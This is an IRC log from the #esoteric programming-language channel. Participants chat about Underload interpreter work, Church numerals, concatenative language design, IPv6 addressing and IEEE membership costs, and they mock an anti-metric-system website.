03:56:57 <elliott> oh right
03:56:58 <oerjan> well it probably won't help with d
03:57:01 <elliott> it'd just be C, basically :-P
03:57:23 <elliott> oh that mojo guy left?
03:57:25 <elliott> i am SO SURPRISED
03:57:48 <oerjan> well assuming the Unlambda to Underload section preserves strict evaluation order, i think c should be buildable from C
03:58:26 <oerjan> elliott: another of the desperate masses looking for an occult irc channel
03:58:46 <oerjan> but none with the skills to actually make one
03:59:09 <zzo38> They should know to look on other IRC network, then?
03:59:16 <oerjan> or maybe they are prevented by demons. yeah that's the ticket.
03:59:55 <oerjan> zzo38: i looked on an irc channel directory once, couldn't find any remotely big ones
03:59:59 <zzo38> I have also my own IRC server, which I can add channels if requested and not intended for large amount of clients all connecting at once.
04:00:14 <oerjan> (just to see if there was any place to refer the next guy coming to)
04:00:30 <zzo38> oerjan: At least it is not bad thing to check.
04:00:35 <elliott> oerjan: i doubt they'd have the capability of logical thought required to figure out how to make a channel.
04:00:44 <oerjan> elliott: THAT WAS THE JOKE
04:00:44 <elliott> and OUCH that lagged my computer, wonder why
04:00:52 <elliott> oerjan: ;D
04:00:58 <elliott> oerjan: i was making a SUBTLE JAB at YOUR BELIEFS
04:01:00 <elliott> -rw-r--r-- 1 elliott elliott 129M 2011-02-22 04:29 foo
04:01:03 <elliott> NOT BAD FOR 50 SECONDS
04:01:12 <oerjan> elliott: AND NOT NOTICING I ALREADY JABBED MYSELF
04:01:13 <zzo38> To make channel just use JOIN command, it is not difficult?
04:01:30 <Sgeo> Wait
04:01:35 <elliott> hey that lines up weirdly (thue-morse wrapped to 80 chars)
04:01:38 <Sgeo> elliott was not being weird, and the person left anyway?
04:01:44 <Sgeo> It's an #esoteric miracle!
04:01:50 <elliott> oerjan: you failed to mention SYNCHRONICITY
04:01:54 <elliott> like
04:02:03 <elliott> "clearly it is synchronicity that they cannot make a channel because of logic"
04:02:35 <oerjan> elliott: DEMONS, I SAID
04:02:36 <zzo38> Try converting some Unlambda program with c to Underload and see if it works.
04:02:42 <elliott> zzo38: no
04:02:49 <elliott> oerjan:any porgress :DDDDDDDD
04:06:59 <oerjan> elliott: overengineering more
04:07:09 <elliott> oerjan: how many catamorphisms
04:07:17 <elliott> <oerjan> TWENTY
04:15:36 -!- elliott has quit (Read error: Connection reset by peer).
04:15:54 -!- elliott has joined.
04:15:58 <elliott> <elliott> oh no, oerjan died in a catamorphism accident
04:16:02 <elliott> discuss catamorphism conspiracy
04:20:33 <copumpkin> rotten bananas?
04:20:43 <copumpkin> http://comonad.com/reader/2008/rotten-bananas/
04:20:48 <elliott> rotten spacenanas
04:21:53 <elliott> hmm, i should really formulate these thoughts down sometime
04:21:58 <elliott> (a purely-functional, strongly-typed concatenative language)
04:22:18 <oerjan> elliott: you are familiar with Cat?
04:22:50 <elliott> oerjan: yes. not only is it seemingly dead or at least dormant, but WP says that the official implementation does no actual typechecking or inference, and it's definitely not pure.
04:22:52 <elliott> but it is an inspiration.
04:23:14 <elliott> oerjan: i figured out that at least a subset of do notation can be done without any special syntax, which is promising for actually using it
04:23:20 <elliott> let do = () return
04:23:24 <elliott> and let ; be >>
04:23:26 <elliott> then you can just say
04:23:30 <elliott> ... do
04:23:32 <elliott> "hello" print ;
04:23:35 <elliott> "goodbye" print ;
04:23:42 <elliott> it gets a bit harder with <-
04:23:48 <elliott> my current thought is to use continuations somehow to write
04:23:49 <elliott> ... do
04:23:53 <elliott> getLine ->;
04:23:58 <elliott> "You typed: %s\n" printf ;
04:24:03 <elliott> but I'm not sure the types will check out
04:24:08 <elliott> or if that will behave sanely
04:24:32 <elliott> I might just bite the bullet and add real do-notation, but that would compromise concatenativeness
04:24:33 -!- augur has joined.
04:25:40 <elliott> anyway, bedtime
04:25:41 <elliott> goodnight!
04:25:53 <oerjan> goodnight
04:28:32 -!- pikhq has quit (Read error: Connection reset by peer).
04:29:52 -!- pikhq has joined.
04:29:55 -!- elliott has quit (Ping timeout: 240 seconds).
04:30:36 <Sgeo> WTF is the point of unique local addresses?
04:37:52 <quintopia> gregor: i cannot disclose any info about bfjml until it is complete
04:46:23 <Sgeo> There is an IPv6 address :: ?
04:50:12 <quintopia> GREGOR: I WOULD PLAY THE CHILDMAULING BEAR GAME
04:51:02 <Sgeo> "Again, the concept of scope is important in a multicast of this type because we don't want to try to send a message to all nodes on the global Internet, for example. "
04:51:08 <Sgeo> LIES. I WANT TO TRY IT.
04:51:20 <Sgeo> Oh, ""Valid Scope Values"
05:07:25 <fizzie> They went and deprecated site-local addresses because nobody can be bothered to handle the scope ID stuff correctly in code.
05:08:12 <fizzie> And also because nobody knew what a "site" was.
05:08:50 <fizzie> And replaced that with the unique local addresses, which at least are more or less unique.
05:09:44 <fizzie> So that if you have address X stored in a file somewhere, you don't need to separately keep track to which site it refers to, if it's in a box which visits multiple "sites".
05:29:53 -!- pikhq has quit (Ping timeout: 240 seconds).
05:30:01 -!- pikhq has joined.
05:33:23 -!- zzo38 has quit (Ping timeout: 272 seconds).
05:39:56 -!- sftp has quit (Remote host closed the connection).
06:27:30 <olsner> holy crap I'm up early
06:27:44 <oerjan> *MWAHAHA*
06:30:29 <olsner> this meeans I can be at work before 9 if I don't end up spending a few hours here
06:33:39 <fizzie> Heh: Conference registration for non-IEEE-member students: $300. Conference registration for IEEE + signal processing society member students: $175. One year's graduate student membership in IEEE and SPS: $42. Sum of last two: $217. Finally, $217 < $300.
06:33:50 <fizzie> Must be their clever ploy to get more members.
06:34:41 <olsner> they should have registration with 1 year membership instead
06:35:03 <olsner> that's not as much money though, so they're probably trying to get more members *and* make more money, at the same time
06:35:39 <quintopia> interesting that Signal Processing Society and Society of Physics Students share an acronym
06:36:34 <fizzie> I'd appreciate the main SPS membership benefits -- access to IEEE Trans. on {Audio, Speech and Language Processing; Image Processing; Information Forensics and Security; Signal Processing} -- more if I didn't already get close to everything in the IEEE library for free simply by tagging the university proxy suffix to the domain name.
06:37:11 <fizzie> At least they'll send a print copy of their glossy magazine, if I understood correctly. After the inevitable collapse, I can use it to keep warm, I guess.
06:38:12 <pikhq> fizzie: Even better: the inevitable collapse will probably have hyperinflation.
06:38:15 <pikhq> And you know what that means!
06:38:33 <pikhq> Billion dollar toilet paper!
06:41:22 <fizzie> I think I have a 50 million mark stamp from Germany (circa 1923) somewhere at home.
06:41:35 <fizzie> (They did make a 50 billion mark stamp too.)
06:47:40 -!- Zwaarddijk has quit (Ping timeout: 240 seconds).
06:48:57 <oerjan> elliott: http://oerjan.nvg.org/esoteric/underload/Numerals.hs
06:48:58 <cheater-> Mathnerd314: are you a troll?
06:50:07 <fizzie> "For each new member you recruit, you earn an award which can be used toward IEEE dues, IEEE Society fees or the purchase of IEEE products and services -- Student Members can earn: US$2 for each Student or Graduate Student member recruited; ..."
06:50:11 <fizzie> It's like a pyramid scheme.
06:50:23 <quintopia> a very cheap one :|
06:50:43 <cheater-> haha
06:50:43 <fizzie> Yes, and only one level deep.
06:50:59 <cheater-> Amwieeey
06:51:29 <fizzie> You do get $15 instead of $2 if you manage to recruit a real person instead of a student.
06:51:39 <quintopia> haha
06:51:43 <cheater-> fizzie: so it's like a simplex scheme, without being a simplicial complex scheme?
06:54:08 <fizzie> After recruiting 12 students I could turn my prize into three IEEE-logo-equipped golf balls: http://www.ieee.corpmerchandise.com/ProductDetail.aspx?did=6180&pid=50132
06:54:11 <fizzie> The amazing.
06:54:44 <fizzie> Not just any golf balls: these have "high lift design for greater distance".
06:55:11 <cheater-> do they use any IEEE published papers in their production?
06:55:23 <cheater-> and if so, would the papers be available for the same cost or less?
06:56:21 <fizzie> The "gifts" section has a "golf umbrella" and those golf balls. I'm getting the impression that a lot of IEEE members play golf.
06:57:23 <cheater-> or, someone *wants* you to be under this impression
06:57:39 <cheater-> in fact it's an international crime ring. the golf is only a cover.
06:57:53 <cheater-> ieee is a cover for the golf is a cover for the crime organization.
06:58:02 <cheater-> is a cover for a pianist club.
06:59:10 <fizzie> Nefarious.
06:59:44 <quintopia> they are the most evil pianists in the world
07:00:03 <cheater-> they are so evil, ALL the keys are black
07:00:13 <pikhq> And electric pianists, no less.
07:00:25 <cheater-> "I feel a disturbance in the black to white key ratio."
07:01:39 <quintopia> they are so evil, they play prepared piano pieces exclusively
07:01:55 <quintopia> and they use chains and brass knuckles to prepare it
07:02:16 <cheater-> oh i thought that's just for bling
07:02:35 <quintopia> they are so evil, they commission pieces from John Cage
07:04:44 <fizzie> Yet another membership benefit: the IEEE Spectrum magazine, the magazine with headlines like "Snakebot Worms Its Way Into Your Heart, Literally: CardioARM, a snake robot from CMU, is designed to navigate around your heart, since what we all definitely need are more robot snakes in our chests"
07:05:49 <fizzie> (Somehow they've managed to make that sound like Annals of Improbable Research.)
07:06:38 <fizzie> Ah, it's a blog: well, that explains the tone.
07:07:32 <cheater-> wtf
07:11:19 <cheater-> fizzie: does ieee have any fight club like rules?
07:12:09 <quintopia> well
07:12:14 <quintopia> you can talk about it
07:12:17 <quintopia> so the first two are out
07:12:33 <quintopia> i think they keep the one about "if this is your first night, you must fight"
07:12:50 <fizzie> They're still just processing my order, so I don't know yet.
07:13:18 <fizzie> There is the Code of Ethics the form asks you to accept, with a delightful drop-down menu that has only "Yes" as an option.
07:13:28 <fizzie> Won't take no for an answer, you see.
07:13:34 <cheater-> if what quintopia says is right, they're about to process your ribcage, too
07:13:38 <fizzie> http://www.ieee.org/about/corporate/governance/p7-8.html
07:17:50 <cheater-> it is ten degrees in my room
07:17:52 <cheater-> what do
07:18:27 <oerjan> first, don't use fahrenheit
07:18:40 <cheater-> it's celsius
07:18:50 <oerjan> YOU DON'T SAY
07:18:56 <cheater-> JUST DID
07:18:58 <oerjan> i left out kelvin as then you would be dead
07:18:59 <cheater-> WHAT U GONNA DO HUH
07:19:03 <quintopia> how many servers do you have turned off that could be turned on :P
07:19:13 <cheater-> well, who knows, maybe i'm a crystalline being
07:19:53 <cheater-> quintopia: haha, so true, well, this 450W psu is only lukewarm if that puts it in perspective for you
07:20:02 <cheater-> and the huge CRT monitor is just plain ol cold.
07:20:15 <fizzie> Start a for(;;); on every box.
07:20:20 <quintopia> :D
07:20:25 <cheater-> i feel like ted kaczynski in his hut
07:20:27 <quintopia> or run LINPACK
07:20:33 <cheater-> i'm already a mathematician
07:20:43 <oerjan> NO RELATION
07:20:44 <cheater-> there's only one thing missing
07:21:01 <fizzie> The monkey?
07:21:02 * cheater- sends elliott a package
07:22:12 <quintopia> IS IT A PARTY HAT?
07:22:15 <quintopia> A CAKE?
07:22:31 <oerjan> THIS PARTY IS THE BOMB
07:23:09 <cheater-> in polish there's this word
07:23:17 <cheater-> or perhaps phrase, "rozerwac sie"
07:23:22 <cheater-> which means to enjoy yourself.
07:23:22 <oerjan> that no one can pronounce
07:23:35 <cheater-> it also means to literally tear yourself apart
07:23:50 <quintopia> so suicide bombers greatly enjoy themselves
07:23:51 <quintopia> got it
07:23:55 <cheater-> not in the "you're tearing me apart lisa" way, more in the "party cake" way
07:23:57 <cheater-> yep
07:24:03 <cheater-> :D
07:24:10 <cheater-> "to treat fairly all persons regardless of such factors as race, religion, gender, disability, age, or national origin;"
07:24:13 <cheater-> aha
07:24:24 <cheater-> but NOT according to text editor!!
07:24:42 <oerjan> there must be _some_ limits
07:25:13 <cheater-> sadly no good hits: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=vi+4+lyfe+tattoo
07:25:18 <quintopia> they are going to shun vi users. because of the close ties between emacs and lisp. and the elitism of lispers
07:25:25 <cheater-> but i'm sure soemone has that
07:25:39 <cheater-> quintopia: lies, emacs is just a TECO script.
07:25:50 <quintopia> VI 4 CHOICE!
07:25:56 * quintopia is pro-choice
07:26:17 <cheater-> quintopia: notice how oerian is very quiet
07:26:25 <cheater-> quintopia: i think oerjan might be non-modal
07:26:54 <quintopia> no, he's definitely modal. he can't talk to us until he is finished engaging in the work of the moment
07:27:04 <cheater-> "oh nooo i use viper mode" yeah whatever oerjan! we know all about your wrongdoings
07:27:09 <cheater-> quintopia: hmm
07:27:35 <cheater-> quintopia: i remember telling him in the past to work on something! so that might be true
07:27:58 <cheater-> quintopia: on the other hand he might just be making a diversion to win time.
07:28:09 <quintopia> he's going to defeat us all
07:28:20 <quintopia> by reducing ul to ():^
07:28:24 <quintopia> :O
07:28:24 <cheater-> no.
07:28:31 <cheater-> he will not defeat..
07:28:34 <cheater-> the pianist club.
07:28:54 <cheater-> although i would be somewhat reluctant to call them "us"
07:29:01 <quintopia> they are already packing up a gift for him
07:29:04 <quintopia> it's a grand piano
07:29:19 <quintopia> like the one that yosemite sam designed
07:29:48 <cheater-> got a pic?
07:30:14 <quintopia> http://en.wikipedia.org/wiki/Ballot_Box_Bunny
07:34:09 <cheater-> heh look what i found
07:34:10 <cheater-> http://en.wikipedia.org/wiki/File:1674_liten.jpg
07:34:19 <cheater-> yes, the file name has the creation date
07:43:25 -!- quintopia has set topic: A bottle of Moxie for everyone; Bugs Bunny hath spoken. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
07:51:47 <cheater-> http://en.wikipedia.org/wiki/File:Basic_interpreter_on_the_DVK_computer.JPG
07:52:05 <cheater-> is there an esoteric language in cyrillic?
07:53:55 <fizzie> Heh, they write the "BASIC" part as "BEJSIK", basically.
07:54:16 <cheater-> yeah
07:54:44 <cheater-> GOST 27975-88 Programming language ALGOL 68 extended - Язык программирования АЛГОЛ 68 расширенный
07:55:42 <cheater-> ohhhh http://en.wikipedia.org/wiki/Chinese_BASIC
07:55:55 <cheater-> Chinese BASIC
07:55:55 <cheater-> commands are printed in blue Applesoft BASIC
07:55:55 <cheater-> 10 卜=0 10 Y=0
07:55:55 <cheater-> 20 入 水, 火 20 INPUT E, F
07:55:55 <cheater-> 30 從 日 = 水 到 火 30 FOR A = E TO F
07:55:55 <cheater-> 40 卜 = 卜+對數(日) 40 Y = Y + LOG (A)
07:55:57 <cheater-> 50 下一 日 50 NEXT A
07:55:59 <cheater-> 60 印 卜 60 PRINT Y
07:57:27 <cheater-> http://en.wikipedia.org/wiki/Rapira
07:57:43 <cheater-> ПРОЦ СТАРТ()
07:57:43 <cheater-> ВЫВОД: 'Привет, мир!!!'
07:57:43 <cheater-> КОН ПРОЦ
07:58:31 <quintopia> /kick cheater-
07:58:50 <cheater-> wat
07:58:52 <cheater-> why now
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:11:01 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
08:13:41 <cheater-> i have really underestimated ftp://publications.ai.mit.edu/ - it is 20 gigabytes
08:19:59 <cheater-> capital at sign: http://scienceblogs.com/pharyngula/2008/08/atheism_symbol.php
08:38:57 -!- MigoMipo has joined.
09:01:23 -!- cheater- has quit (Ping timeout: 240 seconds).
09:01:54 -!- cheater00 has joined.
09:13:15 -!- FireFly has joined.
09:34:50 -!- MigoMipo has quit (Read error: Connection reset by peer).
09:52:28 -!- oerjan has quit (Quit: leaving).
10:06:33 -!- cheater00 has quit (Ping timeout: 240 seconds).
10:19:58 -!- cheater00 has joined.
10:33:06 -!- ais523 has joined.
10:38:26 -!- BeholdMyGlory has joined.
11:01:02 -!- azaq23 has joined.
11:01:05 -!- BeholdMyGlory has quit (Remote host closed the connection).
11:05:32 -!- pikhq has quit (Ping timeout: 246 seconds).
11:05:36 -!- pikhq_ has joined.
11:20:39 -!- qweqwe has joined.
11:20:44 <qweqwe> eee
11:20:54 <qweqwe> nobody here?
11:21:53 -!- qweqwe has left (?).
11:28:44 -!- FireFly has quit (Quit: swatted to death).
11:37:15 -!- Mannerisky has quit (Ping timeout: 250 seconds).
12:15:49 -!- miekko has joined.
12:26:02 -!- myndzi has quit (Ping timeout: 260 seconds).
12:39:52 -!- augur has quit (Remote host closed the connection).
12:55:36 -!- pikhq has joined.
12:55:52 -!- pikhq_ has quit (Ping timeout: 272 seconds).
13:00:02 -!- sftp has joined.
13:00:35 -!- myndzi has joined.
13:02:41 <ais523> hmm, I just put a new language, http://esolangs.org/wiki/Checkout, onto the wiki
13:02:49 <ais523> its aim is to be faster than machine code, by being lower-level than machine code
13:03:01 <ais523> (that's doable nowadays, because processors have evolved and yet machine codes haven't)
13:03:27 <ais523> a side effect of this is that it can only really be run on a GPU without an abstraction inversion, as there's no way to instruct CPUs to deal with things at the right level
13:06:24 * Sgeo wonders if Clojure has stuff similar to Racket's send* and with-method
13:06:31 <Sgeo> It would be pretty stupid not to, but
13:06:53 <Sgeo> I know that Clojure calls send .
13:07:11 <Sgeo> No, I'm not learning Clojure right now. I'm re-picking-up Racket
13:17:58 -!- FireFly has joined.
13:19:54 -!- augur has joined.
13:53:06 -!- cheater00 has quit (Ping timeout: 246 seconds).
13:54:41 -!- augur has quit (Remote host closed the connection).
13:55:08 -!- cheater00 has joined.
14:05:58 -!- BeholdMyGlory has joined.
14:15:45 -!- ais523 has quit (Remote host closed the connection).
14:17:01 -!- augur has joined.
14:30:30 -!- iconmaster[1] has joined.
14:31:59 -!- iconmaster[1] has quit (Read error: Connection reset by peer).
14:44:22 -!- iconmaster[1] has joined.
14:48:30 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
14:59:51 -!- pikhq_ has joined.
14:59:55 -!- pikhq has quit (Ping timeout: 246 seconds).
15:03:36 -!- Sgeo has quit (Ping timeout: 240 seconds).
15:15:18 -!- copumpkin has joined.
15:20:28 -!- pikhq has joined.
15:20:49 -!- pikhq_ has quit (Ping timeout: 272 seconds).
15:27:51 -!- Phantom_Hoover has joined.
15:29:40 -!- pumpkin has joined.
15:32:06 -!- copumpkin has quit (Ping timeout: 246 seconds).
15:34:46 -!- pumpkin has quit (Ping timeout: 250 seconds).
15:35:12 <Phantom_Hoover> http://www.freedom2measure.org/
15:35:33 -!- copumpkin has joined.
15:36:00 <Phantom_Hoover> I can't think of something worth saying on that.
15:36:44 <Phantom_Hoover> Apparently metric units are sexist.
15:37:40 <Phantom_Hoover> And undemocratic.
16:04:46 -!- elliott has joined.
16:05:46 <Gregor> laaaaaaaaaaawl
16:05:48 <Gregor> "The metric system has been almost wholly created and standardized by male scientists and bureaucrats. At the time, during which women were considerably less liberated than today, woman had virtually no say in the creation and, in many countries, the imposition of these units. Perhaps, if they had, the value of the practical units used in those tasks undertaken by woman at the time would have been recognized."
16:05:57 <Gregor> That is the most sexist way you could possibly claim that metric units are sexist.
16:05:58 <elliott> Gregor: what
16:06:11 <elliott> "Perhaps, if they had, the value of the practical units used in those tasks undertaken by woman at the time would have been recognized."
16:06:12 <elliott> like what
16:06:14 <elliott> cooking units?
16:06:15 <elliott> :>
16:06:21 <Gregor> Apparently :P
16:07:03 <elliott> 22:48:57 <oerjan> elliott: http://oerjan.nvg.org/esoteric/underload/Numerals.hs
16:07:12 <elliott> today i discovered the meaning of overengineering
16:07:18 <elliott> - Detect initial numeral by partial emulation.
16:07:19 <elliott> - church' <emulated stack with program positions>
16:07:19 <elliott> - <remaining operations with program positions>
16:07:19 <elliott> - = <stack at last emulatable point with program positions>
16:10:32 <elliott> 05:02:41 <ais523> hmm, I just put a new language, http://esolangs.org/wiki/Checkout, onto the wiki
16:10:32 <elliott> 05:02:49 <ais523> its aim is to be faster than machine code, by being lower-level than machine code
16:10:32 <elliott> 05:03:01 <ais523> (that's doable nowadays, because processors have evolved and yet machine codes haven't)
16:10:32 <elliott> 05:03:27 <ais523> a side effect of this is that it can only really be run on a GPU without an abstraction inversion, as there's no way to instruct CPUs to deal with things at the right level
16:10:32 <elliott> <3
16:11:44 <elliott> Gregor: "You should not have to defend your right to keep your heritage"
16:11:49 <elliott> Gregor: That's why interracial marriage is illegal.
16:11:56 <Gregor> elliott: I nose, rite
16:12:14 <elliott> [[As for evidence of this, consider the fact that man was put on the Moon, a task requiring almost unimaginable accuracy and precision, using American units. If you think that that is out of date ... the Space Shuttle Program runs with American units ... as does every Boeing coming off the assembly line today.]]
16:12:22 <elliott> I seem to recall an accident with a Mars rover...
16:12:31 <elliott> "Metricators will sometimes say that decimals are more accurate than fractions."
16:12:32 <elliott> What?
16:12:55 <Gregor> This whole site is so hilariously retarded, but I can't read it because of that obnoxious waving flag X-P
16:13:28 <elliott> "This is because we do not convert between different scales of units of temperature (i.e. we do not speak in millidegrees of Petadegrees etc.)"
16:13:31 <elliott> Maybe you don't.
16:13:52 <elliott> "Furthermore, since the size of a degree Fahrenheit is smaller that that of a degree Centigrade, when describing the temperature around us Fahrenheit is more accurate!"
16:13:58 <Gregor> Apparently we do speak in "millimeters of petameters" though?
16:14:09 <elliott> I love how they dismiss things as useless and then say that Fahrenheit is INFINITESIMALLY MORE ACCURATE
16:14:21 <elliott> "Another factor is that our customary units are simply more human because they are developed in reference to the scale of the human body."
16:14:24 <elliott> This guy must have gigantic feet.
16:14:34 <elliott> "The naming system of the metric system is systematic but repetitive. Humans find words that are distinct easier to store."
16:14:38 <elliott> Now you're just fucking with me.
16:21:47 <elliott> Gregor: "Strictly speaking, the international bureaucrats who try to impose measurements on people, do not promote the metric system but the Système International (or "SI"). The difference is that SI excludes many metric units. For example, centimeters are not part of SI. For measurement of distance, millimeters are ok, meters too and also kilometers but not centimeters."
16:21:48 <elliott> Phantom_Hoover: ^
16:21:50 <elliott> ...
16:21:55 <elliott> Prefixes. wut are dey?
16:22:22 -!- azaq23 has quit (Ping timeout: 264 seconds).
16:22:48 -!- azaq23 has joined.
16:24:28 <elliott> argh
16:24:31 <elliott> it won't work
16:25:23 <elliott> Gregor: "Also write to companies. Companies listen to consumers for commercial reasons. If they realize that a law is making their customers unhappy they will lobby against that law."
16:25:35 <elliott> Gregor: It takes a special kind of person to look corporatism straight in the face and say, "I like it."
16:25:44 <elliott> (From that metric page.)
16:35:21 <elliott> Gregor: http://www.mail-archive.com/usma@colostate.edu/msg26369.html SECRET METRICATORS PLOTTING AGAINST AMERICAN WEBSITES
16:37:11 <fizzie> elliott: You're such a METRICATOR.
16:37:30 -!- elliott has set topic: Metricator's Association of Anti-America | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:37:44 <fizzie> Also I wrote that as a response to the "metricators will sometimes" comment, not the latest.
16:39:27 -!- Gregor has set topic: Metricators' Association of Anti-America | Togethre we can destroy American heritage with metric units | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:41:53 <elliott> Togethre :D
16:42:02 <elliott> *Metricatre's
16:42:08 <elliott> *Metricatres'
16:44:56 <iconmaster[1]> Lol, Down with the American measurment system!
16:45:02 -!- MigoMipo has joined.
16:45:50 -!- iconmaster[1] has changed nick to iconmaster.
16:46:04 <iconmaster> I like Metric better btw
16:52:00 <fizzie> Down with uppity reptiles.
16:53:24 * elliott posts a longcat-is-long comment on http://esolangs.org/wiki/Talk:Chalcraft-Greene_train_track_automaton
17:09:51 -!- zzo38 has joined.
17:16:16 -!- Behold has joined.
17:18:45 -!- BeholdMyGlory has quit (Ping timeout: 276 seconds).
17:19:15 <fizzie> elliott: You're an "elitist leftie academic"?
17:19:21 <elliott> ABSOLUTELY.
17:19:33 <elliott> fizzie: I support the metric system so how could I not be?
17:19:39 <fizzie> Well, there's that.
17:19:45 <elliott> Maybe I should insert "metricator" in there.
17:25:43 -!- BeholdMyGlory has joined.
17:28:33 <zzo38> Is the IRC logs searchable?
17:28:43 -!- cheater00 has quit (Ping timeout: 240 seconds).
17:29:23 <elliott> zzo38: If you grep them.
17:29:39 -!- Behold has quit (Ping timeout: 276 seconds).
17:30:09 <zzo38> elliott: So that means I would need to download all of them? Is it possible to telnet to there to avoid downloading all of them?
17:30:29 <elliott> zzo38: No. You can get them from hg, Gregor has a repository.
17:30:34 <elliott> You can keep it updated with "hg pull; hg update".
17:30:37 <elliott> Ask him for the link.
17:30:50 -!- cheater00 has joined.
17:34:29 -!- Sgeo has joined.
17:36:29 -!- Behold has joined.
17:37:14 <fizzie> Or "hg pull -u". Still involves a local copy, tho.
17:37:29 <cheater00> good afternoon
17:37:36 <cheater00> how is the life of everyone here?
17:37:36 <fizzie> Google does index some of the logs, I think I've hit them in searches.
17:39:24 <fizzie> Something like "url:tunes.org/~nef/logs/esoteric site:tunes.org <search term here>" can work.
17:39:26 -!- BeholdMyGlory has quit (Ping timeout: 246 seconds).
17:39:53 <fizzie> It's not very good, though.
17:40:29 <zzo38> I tried Google, it doesn't work very wekk
17:41:28 <cheater00> Did you mean: I tried Google, it doesn't work very wekk?
17:41:32 <cheater00> Did you mean: I tried Google, it doesn't work very well?
17:43:07 <elliott> !info
17:43:11 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
17:43:52 -!- elliott has set topic: hmm.
17:43:56 <elliott> Cool, EgoBot is broken
17:44:00 <elliott> *broken.
17:44:01 <elliott> (https://codu.org/projects/egobot/hg/index.cgi/rev/c6a7fee953ca)
17:44:25 <zzo38> s/wekk/well/
17:44:51 <elliott> !gforth_quit
17:45:28 <elliott> 308 /* Tailcat optimisation: if nothing else is using the stack
17:45:28 <elliott> 309 element we're catting to, just change its next pointer to do
17:45:28 <elliott> 310 the catting directly. */
17:45:29 <elliott> tailcat :3
17:45:32 <elliott> oerjan still isn't here, gah
17:45:52 -!- jix has quit (Quit: leaving).
17:46:03 -!- jix has joined.
17:46:44 -!- BeholdMyGlory has joined.
17:47:06 <cheater00> http://9gag.com/gag/80950
17:47:10 <cheater00> NOOOOOOOOOOOOOOOOOoooooooooooooooooooooooooooooooooooooooooooooooooooooooo
17:48:13 <elliott> WHERE IS OERJAN
17:48:17 <elliott> fizzie: summon him with your op powers.
17:48:59 <fizzie> /cast summon bigger fi.. I mean, oerjan
17:48:59 <fizzie> * CAST :Unknown command
17:49:07 <zzo38> How do you summon him with op powers?
17:49:53 -!- pikhq has quit (Ping timeout: 240 seconds).
17:50:04 -!- pikhq has joined.
17:50:07 <fizzie> What's this about oerjan, anyway?
17:50:16 <fizzie> Maybe if you just speak his name thrice.
17:50:30 <zzo38> Mine in the only one with SUMMON and even in that case you can only call the users on the computer which is the server computer.
17:50:35 -!- Behold has quit (Ping timeout: 276 seconds).
17:50:57 <zzo38> fizzie: Three is not enough. You need pi at least.
17:51:14 <elliott> oerjan oerjan oerjan (oerjan)
17:51:20 <elliott> fizzie: His function is inadequate :P
17:53:09 <fizzie> Even the latest ircnet ircd (2.10.3p3) still supports SUMMON if you just define ENABLE_SUMMON in config.h, but people generally don't.
17:53:23 <fizzie> It's not like there's usually really people logged on the servers.
17:55:41 <zzo38> I am the only one then, that has enabled SUMMON
17:56:11 <variable> https://blogs.msdn.com/b/ericlippert/archive/2011/02/14/what-would-feynman-do.aspx -> semi funny (very) semi serious
17:56:22 <fizzie> irc.netsplit.de lists 753 known networks, I'm sure at least *one* has some sort of a summon, if only by accident. :p
17:56:45 <elliott> oh, hey, it might work.
17:56:58 -!- Xawu has joined.
17:57:37 <zzo38> fizzie: Then, see if there are some
17:57:42 <Xawu> Helli
17:57:42 <Phantom_Hoover> "The site's security certificate is not trusted!"
17:57:44 <Phantom_Hoover> XD
17:57:56 <variable> Phantom_Hoover: hrm? doesn't do that for me
17:57:58 <zzo38> Xawu: Yes?
17:58:12 <Xawu> Yes
17:58:29 <Vorpal> Phantom_Hoover, same
17:58:34 <elliott> [Church 18446744073709551616 (Quote [Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,C
17:58:34 <elliott> at,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat]),Quote [Swap,Dup,Cat,Swap,Dup,Call]]
17:58:37 <elliott> Now I just need "deduplication".
17:59:26 -!- Xawu has left (?).
17:59:29 -!- zzo38 has quit (Remote host closed the connection).
18:00:48 <elliott> Now it's niiice and slow.
18:02:14 <elliott> What an odd infinite loop.
18:02:27 <elliott> Oh, hah.
18:02:52 <elliott> Huh? That didn't fix it?
18:04:03 <Phantom_Hoover> elliott, what was the name of that differentiation thing you were fiddling with a while back?
18:04:09 <elliott> Automatic differentiation?
18:04:13 <elliott> (= Dual numbers)
18:06:00 <Phantom_Hoover> Yeah.
18:06:32 <Vorpal> elliott, hm what are you doing.
18:06:34 <Phantom_Hoover> Did you actually link to a proof that f(x+d) = df'(x) + f(x)?
18:06:43 <elliott> Vorpal: You mean the debug output?
18:06:46 <Vorpal> elliott, I suspect something related to underload
18:06:48 <Vorpal> elliott, yes
18:06:56 <elliott> Vorpal: Yes, I'm writing an advanced Underload interpreter (more advanced than derlo).
18:07:05 <Vorpal> elliott, advance as in optimising?
18:07:07 <elliott> Phantom_Hoover: I think I trivially proved it; it's a simple algebraic derivation, ISTR.
18:07:20 <olsner> elliott: you're calling it nderl, right?
18:07:26 <elliott> Vorpal: As in structure sharing (not string-based), recognises Church numerals.
